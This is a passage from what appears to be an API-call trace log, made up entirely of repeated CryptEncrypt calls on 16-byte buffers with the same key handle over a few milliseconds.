dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.235] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.236] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.237] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.238] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.239] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: 